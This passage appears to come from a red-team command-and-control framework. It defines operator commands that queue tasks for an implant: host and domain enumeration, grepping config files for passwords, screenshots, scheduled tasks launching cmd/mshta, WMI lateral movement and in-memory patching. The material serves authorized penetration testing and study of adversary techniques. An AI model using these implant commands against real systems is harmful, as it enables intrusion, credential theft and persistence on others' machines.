--ListAll local \
|
|
--ListAll remotehost.local \
|
|
--GetRunning local
|
|
--RemoveTask local \\ Test
|
|
--AddTask local 12:30 \\ Test "Testing This Thing" C:\\Windows\\notepad.exe
|
|
--AddTask local 12:30 \\ Test "Testing This Thing" C:\\Windows\\system32\\cmd.exe "/c powershell -c BLAH"
|
|
|
|
Examples:
|
|
sharptask --listall local
|
|
sharptask --listall local \\
|
|
sharptask --addtask local 09:30 \\ TaskName "Task Description" C:\\Windows\\system32\\cmd.exe "/c mshta.exe"
|
|
sharptask --removetask local \\ Test
|
|
"""
|
|
check_module_loaded("SharpTask.exe", implant_id, user, load_module_command=command_prefix)
|
|
command = command.replace("sharptask", "run-exe SharpTask.Program SharpTask")
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Core])
|
|
def do_set_delegates(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Sets the delegates (like function pointers) in Stage2-Core.exe.
|
|
|
|
These delegates are set automatically usually, but if you force
|
|
load Stage2-Core.exe again you may need to run this manually.
|
|
|
|
The function pointers are used in Stage2-Core to perform certain
|
|
actions, e.g. get-screenshot, download-file.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Example:
|
|
set-delegates
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Enumeration])
|
|
def do_user_logons(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Event log enumeration for sessions, requires elevation.
|
|
|
|
Uses the C# EventLogSession class which uses the native EvtOpenSession (winevt.h / Wevtapi.dll) which uses RPC.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
user-logons [hostname] [domain] [username] [password]
|
|
|
|
Examples:
|
|
user-logons
|
|
user-logons hostname.domain.local
|
|
user-logons hostname.domain.local domain.local user1 password1
|
|
"""
|
|
check_module_loaded("LoggedOnUsers.exe", implant_id, user, load_module_command=command_prefix)
|
|
command = command.replace("loggedonusers", "run-exe LoggedOnUsers.Program LoggedOnUsers")
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Enumeration])
|
|
def do_grep(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Greps in files on the local system.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
grep <path> <file mask> <grep> <recurse>
|
|
|
|
Examples:
|
|
grep C:\\temp *.config password= true
|
|
"""
|
|
check_module_loaded("FileGrep.exe", implant_id, user, load_module_command=command_prefix)
|
|
command = command.replace("filegrep", "run-exe FileGrep.Program FileGrep")
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Enumeration])
|
|
def do_filegrep(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Greps in files on the local system.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
grep <path> <file mask> <grep> <recurse>
|
|
|
|
Examples:
|
|
grep C:\\temp *.config password= true
|
|
"""
|
|
check_module_loaded("FileGrep.exe", implant_id, user, load_module_command=command_prefix)
|
|
command = command.replace("filegrep", "run-exe FileGrep.Program FileGrep")
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Help])
|
|
def do_core_help(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Prints the Stage2-Core help.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
core-help
|
|
|
|
Examples:
|
|
core-help
|
|
"""
|
|
command = command.replace("core-help", "CoreHelp")
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Util])
|
|
def do_disable_environment_exit(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Disables .NET's Environment.Exit() so that if any modules call it
|
|
the implant will not die.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
disable-environment-exit
|
|
|
|
Examples:
|
|
disable-environment-exit
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Util])
|
|
def do_get_idle_time(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Gets how long the target user has been idle.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
get-idle-time
|
|
|
|
Examples:
|
|
get-idle-time
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Util])
|
|
def do_echo(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Echo the input.
|
|
|
|
Used for testing arguments and output.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
echo <message>
|
|
|
|
Examples:
|
|
echo test
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Enumeration])
|
|
def do_net_share_enum(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Enumerates shares on the target. The net-share-enum-full option tries to perform a directory listing on all shares except the following:
|
|
|
|
"SYSVOL", "ADMIN$", "NETLOGON", "IPC$", "PRINT$", "C$", "D$", "E$", "F$", "G$", "H$", "I$", "J$", "K$", "L$", "M$", "N$", "O$", "P$", "Q$", "R$", "S$", "T$", "U$", "V$", "W$", "X$", "Y$", "Z$"
|
|
|
|
Uses netapi32.dll NetShareEnum.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
net-share-enum <comma separated server list>
|
|
net-share-enum-full <comma separated server list>
|
|
|
|
Examples:
|
|
net-share-enum hostname1,hostname2
|
|
net-share-enum-full hostname1,hostname2
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Enumeration])
|
|
def do_net_session_enum(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Enumerates sessions on the target.
|
|
|
|
Uses netapi32.dll NetSessionEnum.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
net-session-enum <comma separated server list>
|
|
|
|
Examples:
|
|
net-session-enum hostname1,hostname2
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Enumeration])
|
|
def do_local_group_member(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Get the members of a local group on a target.
|
|
|
|
Performs an WinNT GroupName Query.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
net-share-enum <server name> <group name>
|
|
|
|
Examples:
|
|
net-share-enum hostname1 administrators
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Enumeration])
|
|
def do_get_acl(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Performs an ACL check on either a folder or file.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
get-acl <file or folder>
|
|
|
|
Examples:
|
|
get-acl C:\\temp
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Enumeration])
|
|
def do_file_access_time(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Gets the timetamp that the file was last accessed.
|
|
|
|
Performs an query using GetLastAccessTime.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
file-access-time <filename>
|
|
|
|
Examples:
|
|
file-access-time C:\\temp\\test.exe
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Enumeration])
|
|
def do_ldap_searcher(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Performs an LDAP Query.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
ldap-searcher <query> <search root> [property] [resolve group names]
|
|
|
|
Examples:
|
|
ldap-searcher "(&(objectCategory=user)(samaccountname=user))" "LDAP://bloredc1.blorebank.local/DC=blorebank,DC=local"
|
|
ldap-searcher "(objectCategory=user)" "LDAP://bloredc1.blorebank.local/DC=blorebank,DC=local" pwdlastset true
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Enumeration])
|
|
def do_ldap_searcher_recursive(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Performs an LDAP Query, recursively retrieving group members.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
ldap-searcher-recursive <query> <search root> [property] [resolve group names]
|
|
|
|
Examples:
|
|
ldap-searcher-recursive "(&(objectCategory=user)(samaccountname=user))" "LDAP://bloredc1.blorebank.local/DC=blorebank,DC=local"
|
|
ldap-searcher-recursive "(objectCategory=user)" "LDAP://bloredc1.blorebank.local/DC=blorebank,DC=local" pwdlastset true
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Util])
|
|
def do_get_screen_size(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Gets the virtual screen size.
|
|
|
|
Can be used with get-screenshot to specify bounds.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
get-screen-size
|
|
|
|
Examples:
|
|
get-screen-size
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Data_Gathering])
|
|
def do_get_screenshot_all_windows(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Performs individual screenshots of all open windows.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
get-screenshot-all-windows
|
|
|
|
Examples:
|
|
get-screenshot-all-windows
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Enumeration])
|
|
def do_get_methods(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Retrieves the publically available methods on the provided .NET assembly.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
get-methods <type name> <assembly name>
|
|
|
|
Examples:
|
|
get-methods Core.Program Core
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Process_Manipulation])
|
|
def do_kill_remote_process(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Kills the process with the specified PID on the target.
|
|
|
|
Uses WMI via .NET.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
kill-remote-process <pid> <hostname>
|
|
|
|
Examples:
|
|
kill-remote-process 1234 hostname1
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Lateral_Movement])
|
|
def do_invoke_daisy_chain(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Used to start a new daisy server.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
invoke-daisy-chain <args>
|
|
|
|
Examples:
|
|
invoke-daisy-chain <args>
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Process_Manipulation])
|
|
def do_start_process(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Start a new process or run a program, waiting for that process to terminate
|
|
and capturing standard out and error.
|
|
|
|
Uses .NET's System.Diagnostics.Process.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
start-process <binary> -argumentlist <args>
|
|
|
|
Examples:
|
|
start-process <binary> -argumentlist <args>
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Process_Manipulation])
|
|
def do_start_process_silent(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Start a new process or run a program in the background.
|
|
|
|
Uses .NET's System.Diagnostics.Process.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
start-process-silent <binary> -argumentlist <args>
|
|
|
|
Examples:
|
|
start-process-silent <binary> -argumentlist <args>
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Util, Tag.Filesystem])
|
|
def do_zip(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Zips up a directory.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
zip <directory> <zip file>
|
|
|
|
Examples:
|
|
zip C:\\temp\\ C:\\users\\public\\temp.zip
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Util, Tag.Filesystem])
|
|
def do_unzip(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Unzip an archive.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
unzip <zip file> <location>
|
|
|
|
Examples:
|
|
unzip c:\\temp\\test.zip c:\\temp\\
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Util, Tag.Filesystem])
|
|
def do_mkdir(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Creates a directory.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
mkdir <dir>
|
|
|
|
Examples:
|
|
mkdir C:\\temp\\
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Util], name="cd")
|
|
def do_set_working_directory(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Change the current working directory.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
cd <directory>
|
|
|
|
Examples:
|
|
cd C:\\temp
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Lateral_Movement])
|
|
def do_wmi_query(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Used for running a generic WMI query.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
wmi-query <hostname> <wmi namespace> <query> [Username] [Domain] [Password]
|
|
|
|
Examples:
|
|
wmi-query hostname1 "root\\cimv2" "select * FROM Win32_Share"
|
|
wmi-query hostname1 "root\\cimv2" "select * FROM Win32_Share" bob blorebank passw0rd
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Util])
|
|
def do_rmdir(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Used for deleting a folder on the folder system.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
rmdir <path>
|
|
|
|
Examples:
|
|
rmdir C:\\temp\\
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Enumeration], name="env")
|
|
def do_get_environment_variables(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Prints all environment variables.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
get-env
|
|
|
|
Examples:
|
|
get-env
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Enumeration])
|
|
def do_get_process(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Looks for a specific process on the target system.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
get-process <name of process>
|
|
|
|
Examples:
|
|
get-process explorer.exe
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Util])
|
|
def do_dll_searcher(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Lists which processes have loaded the provided DLLs.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
dll-searcher <dll1> <dll2> ...
|
|
|
|
Examples:
|
|
dll-searcher clr.dll mscoree.dll
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Azure_AD])
|
|
def do_get_aad_join_information(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
GetAadJoinInformation to return same output as dsregcmd /status.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
get-aad-join-information
|
|
|
|
Examples:
|
|
get-aad-join-information
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Enumeration])
|
|
def do_get_api_call(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Gets the memory location of a DLL export in the current process.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
get-api-call <dll> <export>
|
|
|
|
Examples:
|
|
get-api-call ntdll.dll NtQueueApcThreadEx
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Enumeration])
|
|
def do_get_service_perms(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Gets the service permissions of the host and outputs an HTML report
|
|
on disk at the given location.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
get-service-perms <directory>
|
|
|
|
Examples:
|
|
get-service-perms C:\\temp\\
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Util])
|
|
def do_hook_terminate_process(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Stop NtTerminateProcess & ZwTerminateProcess from exiting in NTDLL by patching the
|
|
call in memory wth a ret.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
hook-terminate-process
|
|
|
|
Examples:
|
|
hook-terminate-process
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Util])
|
|
def do_get_dll_base_address(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Get the sRDI DLL base address in memory.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
get-dll-base-address
|
|
|
|
Examples:
|
|
get-dll-base-address
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Memory_Manipulation])
|
|
def do_free_memory(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Frees the allocation of the provided memory region.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
free-memory <address>
|
|
|
|
Examples:
|
|
free-memory 0x180000000
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Memory_Manipulation])
|
|
def do_remove_dll_base_address(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Frees the sRDI DLL in memory.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
remove-dll-base-address
|
|
|
|
Examples:
|
|
remove-dll-base-address
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Enumeration], name="find")
|
|
def do_find_file(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Searches for a file on the file system.
|
|
|
|
Uses WMI CIM_DataFile.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
find-file <filename> <extension> [drive] [hostname]
|
|
|
|
Examples:
|
|
find-file flag txt c: 127.0.0.1
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Enumeration, Tag.Registry])
|
|
def do_ls_reg_hkcu(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
List a HKEY_CURRENT_USER registry value.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
ls-reg-hkcu <path>
|
|
|
|
Examples:
|
|
ls-reg-hkcu SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Enumeration, Tag.Registry])
|
|
def do_ls_reg_hklm(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
List a HKEY_LOCAL_MACHINE registry value.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
ls-reg-hklm <path>
|
|
|
|
Examples:
|
|
ls-reg-hklm SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Enumeration, Tag.Registry])
|
|
def do_ls_reg(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
List a registry value.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
ls-reg <hive> <path>
|
|
|
|
Examples:
|
|
ls-reg HKEY_LOCAL_MACHINE SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Registry])
|
|
def do_reg_write_hkcu(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Writes a registry value to HKCU.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
reg-write-hkcu <path> <name> <value>
|
|
|
|
Examples:
|
|
reg-write-hkcu SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall <name> <value>
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Enumeration, Tag.Registry])
|
|
def do_reg_read(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Read a registry value key.
|
|
|
|
